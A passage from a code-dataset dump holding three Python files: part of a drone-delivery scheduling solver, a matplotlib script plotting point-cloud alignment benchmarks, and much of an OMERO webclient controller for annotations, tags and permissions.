== 0):\n print(\"Order \" + str(order_index) + \" is now fullfilled\")\n # with open(\"output.out\", \"a\") as f:\n # f.write(\n # f\"{str(drone_index)} D {str(order_index)} {str(product_index)} 1\\n\")\n # f.close()\n global res_string\n res_string += f\"{str(drone_index)} D {str(order_index)} {str(product_index)} 1\\n\"\n\n return 0\n\n\ndef distance(x1, y1, x2, y2):\n # Euclidean distance\n # Formula : sqrt(abs(x1-x2)^2 + abs(y1-y2)^2)\n t = math.sqrt(math.pow(abs(x1-x2), 2) + math.pow(abs(y1-y2), 2))\n return int(math.ceil(t))\n\n\ndef distance_drone_warehouse(drone_index, warehouse_index):\n return distance(drone_coords[drone_index][0], drone_coords[drone_index][1],\n warehouse_coords[warehouse_index][0], warehouse_coords[warehouse_index][1])\n\n\ndef distance_drone_order(drone_index, order_index):\n return distance(drone_coords[drone_index][0], drone_coords[drone_index][1],\n order_coords[order_index][0], order_coords[order_index][1])\n\n\ndef best_warehouse_for_product(drone_index, product_index):\n best_warehouse_index = 0\n best_warehouse_distance = 1000000\n for i in range(0, len(warehouse_coords)):\n warehouse_distance = distance(\n drone_coords[drone_index][0], drone_coords[drone_index][1], warehouse_coords[i][0], warehouse_coords[i][1])\n if(warehouse_distance < best_warehouse_distance and warhouse_products[i][product_index] > 0):\n best_warehouse_index = i\n best_warehouse_distance = warehouse_distance\n return best_warehouse_index\n\n\ndef order_weight(order_index):\n order_products = order_items[order_index]\n weight = 0\n for product in order_products:\n weight += product_weights[product]\n return weight\n\n\ndef best_order(drone_index):\n # v1 : Get the order with the min distance to drone\n\n # best_order_index = -1\n # best_order_distance = 1000000\n # for i in range(0, len(order_coords)):\n # if order_quantity[i] > 0:\n # order_distance = distance(\n # drone_coords[drone_index][0], drone_coords[drone_index][1], order_coords[i][0], order_coords[i][1])\n # if(order_distance < best_order_distance):\n # best_order_index = i\n # best_order_distance = order_distance\n # if best_order_index == -1:\n # print(\"No more orders !!\")\n # game_over()\n # return best_order_index\n\n # v2 : Get the order with the min weight\n best_order_index = -1\n best_order_weight = 1000000\n cur_order_weight = 0\n for i in range(0, len(order_coords)):\n if order_quantity[i] > 0:\n cur_order_weight = order_weight(i)\n if(cur_order_weight < best_order_weight):\n best_order_index = i\n best_order_weight = cur_order_weight\n if best_order_index == -1:\n print(\"No more orders !!\")\n game_over()\n\n return best_order_index\n\n\ndef best_first_product(drone_index, order_index):\n # Just get the min weight product of the order\n min = 999999999\n min_index = -1\n for index, item in enumerate(order_items[order_index]):\n if(product_weights[item] < min):\n min = product_weights[item]\n min_index = index\n return min_index\n\n\ndef load_more(warehouse_index, cur_weight, order_index):\n to_load = []\n temp_warehouse_products = warhouse_products[warehouse_index].copy()\n for index, item in enumerate(order_items[order_index]):\n if(temp_warehouse_products[item] > 0):\n if cur_weight + product_weights[item] <= max_payload:\n to_load.append(item)\n cur_weight += product_weights[item]\n temp_warehouse_products[item] -= 1\n\n return to_load\n\n\ndef assign_drone(index):\n print(\"----------------------------------------------------\")\n print(\"Assigning drone \" + str(index))\n print(\"Coords: \" + str(drone_coords[index]))\n best_order_index = best_order(index)\n best_first_product_index = best_first_product(index, best_order_index)\n order_item_index = order_items[best_order_index].pop(\n best_first_product_index)\n cur_drone_weight = product_weights[order_item_index]\n order_quantity[best_order_index] -= 1\n best_warehouse_index = best_warehouse_for_product(index, order_item_index)\n warhouse_products[best_warehouse_index][order_item_index] -= 1\n distance = distance_drone_warehouse(index, best_warehouse_index)\n if distance > 0:\n move_drone(index, warehouse_coords[best_warehouse_index]\n [0], warehouse_coords[best_warehouse_index][1])\n load_product(index, best_warehouse_index, order_item_index)\n # Check if warehouse has other products from the order\n to_load = load_more(best_warehouse_index,\n cur_drone_weight, best_order_index)\n print(\"To load: \" + str(to_load))\n for item in to_load:\n order_items[best_order_index].remove(item)\n load_product(index, best_warehouse_index, item)\n order_quantity[best_order_index] -= 1\n print(\"Removing item \" + str(item) + \" From warehouse\")\n print(warhouse_products[best_warehouse_index])\n warhouse_products[best_warehouse_index][item] -= 1\n drone_status[index] = distance\n drone_coords[index] = warehouse_coords[best_warehouse_index]\n print(\"Drone is at Warehouse. Now moving to delivery\")\n distance = distance_drone_order(index, best_order_index)\n move_drone(index, order_coords[best_order_index]\n [0], order_coords[best_order_index][1])\n drone_status[index] += distance\n drone_coords[index] = order_coords[best_order_index]\n deliver_product(index, best_order_index, order_item_index)\n for item in to_load:\n deliver_product(index, best_order_index, item)\n print(\"Drone is at order coordinates. Delivered product\")\n print(\"----------------------------------------------------\\n\")\n return 0\n\n\ndef solve():\n turns_counter = 0\n while turns_counter != turns:\n print(\"Current turn : \" + str(turns_counter))\n drone_to_assign = free_drone()\n if(drone_to_assign == -1):\n # No more drones available\n next_turn()\n turns_counter += 1\n else:\n assign_drone(drone_to_assign)\n\n game_over()\n\n\nwith open(sys.argv[1]) as f:\n # with open(str(sys.argv[1])) as f:\n lines = f.readlines()\n # Format : First line : rows, columns, drones, turns, max payload\n rows, columns, drones, turns, max_payload = [\n int(x) for x in lines[0].split()]\n\n drone_status = [0 for i in range(drones)]\n\n drone_coords = [[0, 0] for i in range(drones)]\n\n # Format : Second line : product weights\n number_products = int(lines[1])\n\n # Format : Third line : product weights\n product_weights = [int(x) for x in lines[2].split()]\n\n num_warehouses = int(lines[3])\n\n i = 0\n cur_line = 4\n while i != num_warehouses:\n warehouse_coords.append([int(x) for x in lines[cur_line].split()])\n cur_line += 1\n warhouse_products.append([int(x) for x in lines[cur_line].split()])\n cur_line += 1\n i += 1\n\n num_orders = int(lines[cur_line])\n cur_line += 1\n\n i = 0\n while i != num_orders:\n order_coords.append([int(x) for x in lines[cur_line].split()])\n cur_line += 1\n order_quantity.append(int(lines[cur_line]))\n cur_line += 1\n order_items.append([int(x) for x in lines[cur_line].split()])\n cur_line += 1\n\n i += 1\n\n total_commands = 0\n\n '''\n print(rows, columns, drones, turns, max_payload)\n print(number_products)\n print(product_weights)\n print(warehouse_coords)\n print(warhouse_products)\n print(num_orders)\n print(order_coords)\n print(order_quantity)\n print(order_items)\n print(drone_status)\n '''\n solve()\n f.close()\n exit(0)\n","repo_name":"morrisskev/efficace","sub_path":"TP4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"74502563260","text":"# coding=UTF-8\r\nimport sys\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nmethod_names = ['Point-Point ICP', 'Point-Plane ICP', 'Point-Line ICP', 'NDT', 'PCL ICP', 'PCL NDT']\r\ntime_usage = [399.808, 334.409, 492.718, 142.278, 2774.16, 255.947]\r\n\r\nres_icp_point = [0.211044, 0.155513, 0.114218, 0.0837873, 0.0611407, 0.0444493, 0.0320967, 0.0229813]\r\nres_icp_plane = [0.0946098, 0.00664127, 0.000288226]\r\nres_icp_line = [0.20137, 0.138774, 0.0931768, 0.0618093, 0.0410299, 0.0276539, 0.0192892]\r\nres_ndt = [0.148351, 0.0597357, 0.0227735, 0.0100937, 0.00690136]\r\nres_icp_pcl = [0.0483]\r\nres_ndt_pcl = [0.1603]\r\n\r\n# 用时\r\nplt.figure()\r\nplt.bar(method_names, time_usage, color='rgbkyc')\r\nplt.title('Align Time Usage')\r\nplt.xlabel(\"method name\")\r\nplt.ylabel(\"runtime(ms)\")\r\nplt.grid()\r\nplt.show()\r\n\r\n# 收敛曲线\r\nplt.figure()\r\nplt.plot(range(0, len(res_icp_point)), res_icp_point, color='r', marker='o')\r\nplt.plot(range(0, len(res_icp_plane)), res_icp_plane, color='g', marker='o')\r\nplt.plot(range(0, len(res_icp_line)), res_icp_line, color='b', marker='o')\r\nplt.plot(range(0, len(res_ndt)), res_ndt, color='k', marker='o')\r\nplt.axhline(res_icp_pcl, color='y')\r\nplt.axhline(res_ndt_pcl, color='c')\r\n# plt.yscale('log')\r\nplt.title('Pose Convergence Speed')\r\nplt.xlabel(\"iteration\")\r\nplt.ylabel(\"Pose error\")\r\nplt.legend(method_names)\r\nplt.grid()\r\nplt.show()\r\n","repo_name":"gaoxiang12/slam_in_autonomous_driving","sub_path":"scripts/plot_ch7_align_results.py","file_name":"plot_ch7_align_results.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":1355,"dataset":"github-code","pt":"23"} +{"seq_id":"39227019560","text":"import omero\nfrom omero.rtypes import rstring, rlong, unwrap\nfrom django.conf import settings\nfrom django.utils.encoding import smart_str\nimport logging\nfrom omero.cmd import Delete2\n\nfrom webclient.controller import BaseController\n\nlogger = logging.getLogger(__name__)\n\n\nclass BaseContainer(BaseController):\n\n project = None\n screen = None\n dataset = None\n plate = None\n acquisition = None\n well = None\n image = None\n tag = None\n file = None\n comment = None\n tags = None\n\n index = None\n containers = None\n experimenter = None\n\n c_size = 0\n\n obj_type = None\n\n text_annotations = None\n txannSize = 0\n long_annotations = None\n file_annotations = None\n\n orphaned = False\n\n def __init__(self, conn, project=None, dataset=None, image=None,\n screen=None, plate=None, acquisition=None, well=None,\n tag=None, tagset=None, file=None, comment=None,\n annotation=None, index=None, orphaned=None, **kw):\n BaseController.__init__(self, conn)\n if project is not None:\n self.obj_type = \"project\"\n self.project = self.conn.getObject(\"Project\", project)\n self.assertNotNone(self.project, project, \"Project\")\n self.assertNotNone(self.project._obj, project, \"Project\")\n if dataset is not None:\n self.obj_type = \"dataset\"\n self.dataset = self.conn.getObject(\"Dataset\", dataset)\n self.assertNotNone(self.dataset, dataset, \"Dataset\")\n self.assertNotNone(self.dataset._obj, dataset, \"Dataset\")\n if screen is not None:\n self.obj_type = \"screen\"\n self.screen = self.conn.getObject(\"Screen\", screen)\n self.assertNotNone(self.screen, screen, \"Screen\")\n self.assertNotNone(self.screen._obj, screen, \"Screen\")\n if plate is not None:\n self.obj_type = \"plate\"\n self.plate = self.conn.getObject(\"Plate\", plate)\n self.assertNotNone(self.plate, plate, \"Plate\")\n self.assertNotNone(self.plate._obj, plate, \"Plate\")\n if acquisition is not None:\n self.obj_type = \"acquisition\"\n self.acquisition = self.conn.getObject(\n \"PlateAcquisition\", acquisition)\n self.assertNotNone(\n self.acquisition, acquisition, \"Plate Acquisition\")\n self.assertNotNone(\n self.acquisition._obj, acquisition, \"Plate Acquisition\")\n if image is not None:\n self.obj_type = \"image\"\n self.image = self.conn.getObject(\"Image\", image)\n self.assertNotNone(self.image, image, \"Image\")\n self.assertNotNone(self.image._obj, image, \"Image\")\n if well is not None:\n self.obj_type = \"well\"\n self.well = self.conn.getObject(\"Well\", well)\n self.assertNotNone(self.well, well, \"Well\")\n self.assertNotNone(self.well._obj, well, \"Well\")\n if index is not None:\n self.well.index = index\n if tag is not None:\n self.obj_type = \"tag\"\n self.tag = self.conn.getObject(\"Annotation\", tag)\n self.assertNotNone(self.tag, tag, \"Tag\")\n self.assertNotNone(self.tag._obj, tag, \"Tag\")\n if tagset is not None:\n self.obj_type = \"tagset\"\n self.tag = self.conn.getObject(\"Annotation\", tagset)\n self.assertNotNone(self.tag, tagset, \"Tag\")\n self.assertNotNone(self.tag._obj, tagset, \"Tag\")\n if comment is not None:\n self.obj_type = \"comment\"\n self.comment = self.conn.getObject(\"Annotation\", comment)\n self.assertNotNone(self.comment, comment, \"Comment\")\n self.assertNotNone(self.comment._obj, comment, \"Comment\")\n if file is not None:\n self.obj_type = \"file\"\n self.file = self.conn.getObject(\"Annotation\", file)\n self.assertNotNone(self.file, file, \"File\")\n self.assertNotNone(self.file._obj, file, \"File\")\n if annotation is not None:\n self.obj_type = \"annotation\"\n self.annotation = self.conn.getObject(\"Annotation\", annotation)\n self.assertNotNone(self.annotation, annotation, \"Annotation\")\n self.assertNotNone(self.annotation._obj, annotation, \"Annotation\")\n if orphaned:\n self.orphaned = True\n\n def assertNotNone(self, obj, obj_id, obj_name):\n if obj is None:\n raise AttributeError(\n \"We are sorry, but that %s (id:%s) does not exist, or if it\"\n \" does, you have no permission to see it.\"\n % (obj_name, obj_id))\n\n def _get_object(self):\n \"\"\"\n Since the container is often used to wrap a single Project, Dataset\n etc, several methods need access to the underlying object. E.g.\n obj_type(), obj_id(), canAnnotate(), canEdit().\n This removes many if statements from the metadata_general.html\n template for places that are displaying data for a single Object. E.g.\n Edit Name etc.\n \"\"\"\n if self.project is not None:\n return self.project\n if self.dataset is not None:\n return self.dataset\n if self.image is not None:\n return self.image\n if self.screen is not None:\n return self.screen\n if self.acquisition is not None:\n return self.acquisition\n if self.plate is not None:\n return self.plate\n if self.well is not None:\n return self.well\n if self.tag is not None:\n return self.tag\n if self.file is not None:\n return self.file\n\n def obj_id(self):\n obj = self._get_object()\n return obj is not None and obj.id or None\n\n def canAnnotate(self):\n obj = self._get_object()\n return obj is not None and obj.canAnnotate() or False\n\n def canEdit(self):\n obj = self._get_object()\n return obj is not None and obj.canEdit() or None\n\n def getPermsCss(self):\n \"\"\" Shortcut to get permissions flags, E.g. for css \"\"\"\n return self._get_object().getPermsCss()\n\n def getNumberOfFields(self):\n \"\"\" Applies to Plates (all fields) or PlateAcquisitions\"\"\"\n if self.plate is not None:\n return self.plate.getNumberOfFields()\n elif self.acquisition:\n p = self.conn.getObject(\n \"Plate\", self.acquisition._obj.plate.id.val)\n return p.getNumberOfFields(self.acquisition.getId())\n\n def getPlateId(self):\n \"\"\" Used by templates that display Plates or PlateAcquisitions \"\"\"\n if self.plate is not None:\n return self.plate.getId()\n elif self.acquisition:\n return self.acquisition._obj.plate.id.val\n\n def canDownload(self, objDict=None):\n \"\"\"\n Returns False if any of selected object cannot be downloaded\n \"\"\"\n # As used in batch_annotate panel\n if objDict is not None:\n for key in objDict:\n for o in objDict[key]:\n if hasattr(o, 'canDownload'):\n if not o.canDownload():\n return False\n return True\n # As used in metadata_general panel\n else:\n return self.image.canDownload() or \\\n self.well.canDownload() or self.plate.canDonwload()\n\n def listFigureScripts(self, objDict=None):\n \"\"\"\n This configures all the Figure Scripts, setting their enabled status\n given the currently selected object (self.image etc) or batch objects\n (uses objDict).\n \"\"\"\n figureScripts = []\n # id is used in url and is mapped to full script path by\n # views.figure_script()\n splitView = {\n 'id': 'SplitView',\n 'name': 'Split View Figure',\n 'enabled': False,\n 'tooltip': (\"Create a figure of images, splitting their channels\"\n \" into separate views\")}\n # Split View Figure is enabled if we have at least one image with\n # SizeC > 1\n if self.image:\n splitView['enabled'] = (self.image.getSizeC() > 1)\n elif objDict is not None:\n if 'image' in objDict:\n for i in objDict['image']:\n if i.getSizeC() > 1:\n splitView['enabled'] = True\n break\n thumbnailFig = {\n 'id': 'Thumbnail',\n 'name': 'Thumbnail Figure',\n 'enabled': False,\n 'tooltip': (\"Export a figure of thumbnails, optionally sorted by\"\n \" tag\")}\n # Thumbnail figure is enabled if we have Datasets or Images selected\n if self.image or self.dataset:\n thumbnailFig['enabled'] = True\n elif objDict is not None:\n if 'image' in objDict or 'dataset' in objDict:\n thumbnailFig['enabled'] = True\n\n makeMovie = {\n 'id': 'MakeMovie',\n 'name': 'Make Movie',\n 'enabled': False,\n 'tooltip': \"Create a movie of the image\"}\n if (self.image and (self.image.getSizeT() > 0 or\n self.image.getSizeZ() > 0)):\n makeMovie['enabled'] = True\n\n figureScripts.append(splitView)\n figureScripts.append(thumbnailFig)\n figureScripts.append(makeMovie)\n return figureScripts\n\n def openAstexViewerCompatible(self):\n \"\"\"\n Is the image suitable to be viewed with the Volume viewer 'Open Astex\n Viewer' applet?\n Image must be a 'volume' of suitable dimensions and not too big.\n \"\"\"\n MAX_SIDE = settings.OPEN_ASTEX_MAX_SIDE # default is 400\n MIN_SIDE = settings.OPEN_ASTEX_MIN_SIDE # default is 20\n # default is 15625000 (250 * 250 * 250)\n MAX_VOXELS = settings.OPEN_ASTEX_MAX_VOXELS\n\n if self.image is None:\n return False\n sizeZ = self.image.getSizeZ()\n if self.image.getSizeC() > 1:\n return False\n sizeX = self.image.getSizeX()\n sizeY = self.image.getSizeY()\n if sizeZ < MIN_SIDE or sizeX < MIN_SIDE or sizeY < MIN_SIDE:\n return False\n if sizeX > MAX_SIDE or sizeY > MAX_SIDE or sizeZ > MAX_SIDE:\n return False\n voxelCount = (sizeX * sizeY * sizeZ)\n if voxelCount > MAX_VOXELS:\n return False\n\n try:\n # if scipy ndimage is not available for interpolation, can only\n # handle smaller images\n import scipy.ndimage # noqa\n except ImportError:\n logger.debug(\"Failed to import scipy.ndimage - Open Astex Viewer\"\n \" limited to display of smaller images.\")\n MAX_VOXELS = (160 * 160 * 160)\n if voxelCount > MAX_VOXELS:\n return False\n\n return True\n\n def formatMetadataLine(self, l):\n if len(l) < 1:\n return None\n return l.split(\"=\")\n\n def companionFiles(self):\n # Look for companion files on the Image\n self.companion_files = list()\n if self.image is not None:\n comp_obj = self.image\n p = self.image.getPlate()\n # in SPW model, companion files can be found on Plate\n if p is not None:\n comp_obj = p\n for ann in comp_obj.listAnnotations():\n if (hasattr(ann._obj, \"file\") and\n ann.ns == omero.constants.namespaces.NSCOMPANIONFILE):\n if (ann.getFileName() !=\n omero.constants.annotation.file.ORIGINALMETADATA):\n self.companion_files.append(ann)\n\n def channelMetadata(self, noRE=False):\n self.channel_metadata = None\n\n if self.image is None and self.well is None:\n return\n\n img = self.image\n if img is None:\n img = self.well.getWellSample().image()\n\n # Exceptions handled by webclient_gateway ImageWrapper.getChannels()\n self.channel_metadata = img.getChannels(noRE=noRE)\n\n if self.channel_metadata is None:\n self.channel_metadata = list()\n\n def loadTags(self, eid=None):\n if eid is not None:\n if eid == -1: # Load data for all users\n eid = None\n else:\n self.experimenter = self.conn.getObject(\"Experimenter\", eid)\n else:\n eid = self.conn.getEventContext().userId\n self.tags = list(self.conn.listTags(eid))\n self.tags.sort(\n key=lambda x: x.getTextValue() and x.getTextValue().lower())\n self.t_size = len(self.tags)\n\n def loadTagsRecursive(self, eid=None, offset=None, limit=1000):\n if eid is not None:\n if eid == -1: # Load data for all users\n if self.canUseOthersAnns():\n eid = None\n else:\n eid = self.conn.getEventContext().userId\n else:\n self.experimenter = self.conn.getObject(\"Experimenter\", eid)\n else:\n eid = self.conn.getEventContext().userId\n self.tags_recursive, self.tags_recursive_owners = \\\n self.conn.listTagsRecursive(eid, offset, limit)\n\n def getTagCount(self, eid=None):\n return self.conn.getTagCount(eid)\n\n def loadDataByTag(self):\n pr_list = list(self.conn.getObjectsByAnnotations(\n 'Project', [self.tag.id]))\n ds_list = list(self.conn.getObjectsByAnnotations(\n 'Dataset', [self.tag.id]))\n im_list = list(self.conn.getObjectsByAnnotations(\n 'Image', [self.tag.id]))\n sc_list = list(self.conn.getObjectsByAnnotations(\n 'Screen', [self.tag.id]))\n pl_list = list(self.conn.getObjectsByAnnotations(\n 'Plate', [self.tag.id]))\n pa_list = list(self.conn.getObjectsByAnnotations(\n 'PlateAcquisition', [self.tag.id]))\n\n pr_list.sort(key=lambda x: x.getName() and x.getName().lower())\n ds_list.sort(key=lambda x: x.getName() and x.getName().lower())\n im_list.sort(key=lambda x: x.getName() and x.getName().lower())\n sc_list.sort(key=lambda x: x.getName() and x.getName().lower())\n pl_list.sort(key=lambda x: x.getName() and x.getName().lower())\n pa_list.sort(key=lambda x: x.getName() and x.getName().lower())\n\n self.containers = {\n 'projects': pr_list,\n 'datasets': ds_list,\n 'images': im_list,\n 'screens': sc_list,\n 'plates': pl_list,\n 'aquisitions': pa_list}\n self.c_size = (len(pr_list) + len(ds_list) + len(im_list) +\n len(sc_list) + len(pl_list) + len(pa_list))\n\n def listImagesInDataset(self, did, eid=None, page=None,\n load_pixels=False):\n if eid is not None:\n if eid == -1: # Load data for all users\n eid = None\n else:\n self.experimenter = self.conn.getObject(\"Experimenter\", eid)\n im_list = list(self.conn.listImagesInDataset(\n oid=did, eid=eid, page=page, load_pixels=load_pixels))\n im_list.sort(key=lambda x: x.getName().lower())\n self.containers = {'images': im_list}\n self.c_size = self.conn.getCollectionCount(\n \"Dataset\", \"imageLinks\", [long(did)])[long(did)]\n\n if page is not None:\n self.paging = self.doPaging(page, len(im_list), self.c_size)\n\n def listContainerHierarchy(self, eid=None):\n if eid is not None:\n if eid == -1:\n eid = None\n else:\n self.experimenter = self.conn.getObject(\"Experimenter\", eid)\n else:\n eid = self.conn.getEventContext().userId\n pr_list = list(self.conn.listProjects(eid))\n ds_list = list(self.conn.listOrphans(\"Dataset\", eid))\n sc_list = list(self.conn.listScreens(eid))\n pl_list = list(self.conn.listOrphans(\"Plate\", eid))\n\n pr_list.sort(key=lambda x: x.getName() and x.getName().lower())\n ds_list.sort(key=lambda x: x.getName() and x.getName().lower())\n sc_list.sort(key=lambda x: x.getName() and x.getName().lower())\n pl_list.sort(key=lambda x: x.getName() and x.getName().lower())\n\n self.orphans = self.conn.countOrphans(\"Image\", eid)\n\n self.containers = {\n 'projects': pr_list,\n 'datasets': ds_list,\n 'screens': sc_list,\n 'plates': pl_list}\n self.c_size = len(pr_list)+len(ds_list)+len(sc_list)+len(pl_list)\n\n def listOrphanedImages(self, eid=None, page=None):\n if eid is not None:\n if eid == -1:\n eid = None\n else:\n self.experimenter = self.conn.getObject(\"Experimenter\", eid)\n else:\n eid = self.conn.getEventContext().userId\n\n params = omero.sys.ParametersI()\n if page is not None:\n params.page((int(page)-1)*settings.PAGE, settings.PAGE)\n im_list = list(self.conn.listOrphans(\n \"Image\", eid=eid, params=params, loadPixels=True))\n im_list.sort(key=lambda x: x.getName().lower())\n self.containers = {'orphaned': True, 'images': im_list}\n self.c_size = self.conn.countOrphans(\"Image\", eid=eid)\n\n if page is not None:\n self.paging = self.doPaging(page, len(im_list), self.c_size)\n\n # Annotation list\n def annotationList(self):\n self.text_annotations = list()\n self.rating_annotations = list()\n self.file_annotations = list()\n self.tag_annotations = list()\n self.xml_annotations = list()\n self.boolean_annotations = list()\n self.double_annotations = list()\n self.long_annotations = list()\n self.term_annotations = list()\n self.time_annotations = list()\n self.my_client_map_annotations = list() # 'should' only be 1\n self.client_map_annotations = list()\n self.map_annotations = list()\n self.companion_files = list()\n\n annTypes = {omero.model.CommentAnnotationI: self.text_annotations,\n omero.model.LongAnnotationI: self.long_annotations,\n omero.model.FileAnnotationI: self.file_annotations,\n omero.model.TagAnnotationI: self.tag_annotations,\n omero.model.XmlAnnotationI: self.xml_annotations,\n omero.model.BooleanAnnotationI: self.boolean_annotations,\n omero.model.DoubleAnnotationI: self.double_annotations,\n omero.model.TermAnnotationI: self.term_annotations,\n omero.model.TimestampAnnotationI: self.time_annotations,\n omero.model.MapAnnotationI: self.map_annotations}\n\n aList = list()\n if self.image is not None:\n aList = list(self.image.listAnnotations())\n elif self.dataset is not None:\n aList = list(self.dataset.listAnnotations())\n elif self.project is not None:\n aList = list(self.project.listAnnotations())\n elif self.screen is not None:\n aList = list(self.screen.listAnnotations())\n elif self.plate is not None:\n aList = list(self.plate.listAnnotations())\n elif self.acquisition is not None:\n aList = list(self.acquisition.listAnnotations())\n elif self.well is not None:\n aList = list(self.well.getWellSample().image().listAnnotations())\n\n for ann in aList:\n annClass = ann._obj.__class__\n if annClass in annTypes:\n if ann.ns == omero.constants.metadata.NSINSIGHTRATING:\n self.rating_annotations.append(ann)\n elif ann.ns == omero.constants.namespaces.NSCOMPANIONFILE:\n if (ann.getFileName() !=\n omero.constants.annotation.file.ORIGINALMETADATA):\n self.companion_files.append(ann)\n elif ann.ns == omero.constants.metadata.NSCLIENTMAPANNOTATION:\n if (ann.getDetails().getOwner().id ==\n self.conn.getUserId()):\n self.my_client_map_annotations.append(ann)\n else:\n self.client_map_annotations.append(ann)\n else:\n annTypes[annClass].append(ann)\n\n self.text_annotations.sort(\n key=lambda x: x.creationEventDate(), reverse=True)\n self.file_annotations.sort(key=lambda x: x.creationEventDate())\n self.rating_annotations.sort(key=lambda x: x.creationEventDate())\n self.tag_annotations.sort(key=lambda x: x.textValue)\n self.map_annotations.sort(key=lambda x: x.creationEventDate())\n\n self.txannSize = len(self.text_annotations)\n self.fileannSize = len(self.file_annotations)\n self.tgannSize = len(self.tag_annotations)\n\n def getGroupedRatings(self, rating_annotations=None):\n \"\"\"\n Groups ratings in preparation for display. Picks out the user's rating\n and groups the remaining ones by value.\n NB: This should be called after annotationList() has loaded\n annotations.\n \"\"\"\n if rating_annotations is None:\n rating_annotations = self.rating_annotations\n userId = self.conn.getUserId()\n myRating = None\n ratingsByValue = {}\n for r in range(1, 6):\n ratingsByValue[r] = []\n for rating in rating_annotations:\n if rating.getDetails().getOwner().id == userId:\n myRating = rating\n else:\n rVal = rating.getValue()\n if rVal in ratingsByValue:\n ratingsByValue[rVal].append(rating)\n\n avgRating = 0\n if (len(rating_annotations) > 0):\n sumRating = sum([r.getValue() for r in rating_annotations])\n avgRating = float(sumRating)/len(rating_annotations)\n avgRating = int(round(avgRating))\n\n # Experimental display of ratings as in PR #3322\n # groupedRatings = []\n # for r in range(5,0, -1):\n # ratings = ratingsByValue[r]\n # if len(ratings) > 0:\n # groupedRatings.append({\n # 'value': r,\n # 'count': len(ratings),\n # 'owners': \", \".join([\n # str(r.getDetails().getOwner().getNameWithInitial())\n # for r in ratings])\n # })\n\n myRating = myRating is not None and myRating.getValue() or 0\n # NB: this should be json serializable as used in\n # views.annotate_rating\n return {\n 'myRating': myRating,\n 'average': avgRating,\n 'count': len(rating_annotations)}\n\n def canUseOthersAnns(self):\n \"\"\"\n Test to see whether other user's Tags, Files etc should be provided\n for annotating.\n Used to ensure that E.g. Group Admins / Owners don't try to link other\n user's Annotations when in a private group (even though they could\n retrieve those annotations)\n \"\"\"\n gid = self.conn.SERVICE_OPTS.getOmeroGroup()\n if gid is None:\n return False\n try:\n group = self.conn.getObject(\"ExperimenterGroup\", long(gid))\n except:\n return False\n if group is None:\n return False\n perms = str(group.getDetails().getPermissions())\n if perms in (\"rwrw--\", \"rwra--\"):\n return True\n if (perms == \"rwr---\" and (self.conn.isAdmin() or\n self.conn.isLeader(group.id))):\n return True\n return False\n\n def loadBatchAnnotations(self, objDict, ann_ids=None, addedByMe=False):\n \"\"\"\n Look up the Tags, Files, Comments, Ratings etc that are on one or more\n of the objects in objDect.\n \"\"\"\n\n batchAnns = {\n omero.model.CommentAnnotationI: 'Comment',\n omero.model.LongAnnotationI: 'Long',\n omero.model.FileAnnotationI: 'File',\n omero.model.TagAnnotationI: 'Tag',\n omero.model.XmlAnnotationI: 'Xml',\n omero.model.BooleanAnnotationI: 'Boolean',\n omero.model.DoubleAnnotationI: 'Double',\n omero.model.TermAnnotationI: 'Term',\n omero.model.TimestampAnnotationI: 'TimeStamp'\n }\n\n # return, E.g {\"Tag\": {AnnId: {'ann': ObjWrapper, 'parents':\n # [ImageWrapper, etc] } }, etc...}\n rv = {}\n rv[\"UserRatings\"] = {}\n rv[\"OtherRatings\"] = {}\n # populate empty return map\n for key, value in batchAnns.items():\n rv[value] = {}\n\n params = omero.sys.Parameters()\n params.theFilter = omero.sys.Filter()\n if addedByMe:\n params.theFilter.ownerId = omero.rtypes.rlong(\n self.conn.getUserId())\n for objType, objList in objDict.items():\n if len(objList) == 0:\n continue\n parent_ids = [o.getId() for o in objList]\n # If we're working with a 'well', we're actually annotating the\n # image\n for i in range(len(objList)):\n o = objList[i]\n if isinstance(o._obj, omero.model.WellI):\n objType = \"Image\"\n # index has already been set\n parent_ids[i] = o.getWellSample().image().getId()\n if isinstance(objList[0]._obj, omero.model.PlateAcquisitionI):\n objType = 'PlateAcquisition'\n for annLink in self.conn.getAnnotationLinks(\n objType, parent_ids=parent_ids, ann_ids=ann_ids,\n params=params):\n ann = annLink.getAnnotation()\n if ann.ns == omero.constants.namespaces.NSCOMPANIONFILE:\n continue\n annClass = ann._obj.__class__\n if annClass in batchAnns:\n if ann.ns == omero.constants.metadata.NSINSIGHTRATING:\n if (ann.getDetails().owner.id.val ==\n self.conn.getUserId()):\n annotationsMap = rv[\"UserRatings\"]\n else:\n annotationsMap = rv[\"OtherRatings\"]\n else:\n # E.g. map for 'Tags'\n annotationsMap = rv[batchAnns[annClass]]\n if ann.getId() not in annotationsMap:\n annotationsMap[ann.getId()] = {\n 'ann': ann,\n 'links': [annLink],\n 'unlink': 0}\n else:\n annotationsMap[ann.getId()]['links'].append(annLink)\n if annLink.canDelete():\n annotationsMap[ann.getId()]['unlink'] += 1\n\n # bit more preparation for display...\n batchAnns = {}\n for key, annMap in rv.items():\n # E.g. key = 'Tag', 'Comment', 'File' etc\n annList = []\n for annId, annDict in annMap.items():\n # ann is {'ann':AnnWrapper, 'links'[AnnotationLinkWrapper, ..]}\n # Each ann has links to several objects\n annDict['links'].sort(key=lambda x: x.parent.id.val)\n annDict['added_by'] = \",\".join([\n str(l.getDetails().getOwner().id)\n for l in annDict['links']])\n annDict['can_remove'] = annDict['unlink'] > 0\n annList.append(annDict)\n batchAnns[key] = annList\n return batchAnns\n\n def getTagsByObject(self, parent_type=None, parent_ids=None):\n eid = ((not self.canUseOthersAnns()) and\n self.conn.getEventContext().userId or None)\n\n def sort_tags(tag_gen):\n tag_anns = list(tag_gen)\n try:\n tag_anns.sort(key=lambda x: x.getValue().lower())\n except:\n pass\n return tag_anns\n\n if self.image is not None:\n return sort_tags(self.image.listOrphanedAnnotations(\n eid=eid, anntype='Tag'))\n elif self.dataset is not None:\n return sort_tags(self.dataset.listOrphanedAnnotations(\n eid=eid, anntype='Tag', ns=['any']))\n elif self.project is not None:\n return sort_tags(self.project.listOrphanedAnnotations(\n eid=eid, anntype='Tag'))\n elif self.well is not None:\n return sort_tags(\n self.well.getWellSample().image().listOrphanedAnnotations(\n eid=eid, anntype='Tag'))\n elif self.plate is not None:\n return sort_tags(self.plate.listOrphanedAnnotations(\n eid=eid, anntype='Tag'))\n elif self.screen is not None:\n return 